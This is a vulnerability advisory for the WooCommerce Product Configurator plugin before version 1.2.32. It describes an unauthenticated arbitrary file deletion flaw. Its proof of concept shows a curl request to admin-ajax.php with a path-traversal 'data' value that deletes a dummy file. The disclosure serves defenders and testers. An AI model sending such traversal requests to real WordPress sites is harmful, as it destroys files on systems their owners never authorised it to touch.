WordPress Plugin Vulnerabilities

Product Configurator for WooCommerce < 1.2.32 - Unauthenticated Arbitrary File Deletion

Description

The plugin suffers from an arbitrary file deletion vulnerability via an AJAX action, accessible to unauthenticated users, which accepts user input that is being used in a path and passed to unlink() without validation first

Proof of Concept

Create a dummy file on the WordPress host to delete (the file must be owned by the web user):
    echo '1' > /tmp/delete_me.txt && chown 'www-data:www-data' /tmp/delete_me.txt

Invoke the following curl command to delete the dummy file:
   curl 'http://127.0.0.1/wp-admin/admin-ajax.php' \
      --data 'action=mkl_pc_generate_config_image&data=../../../../../../tmp/delete_me.txt'

Verify the file has been deleted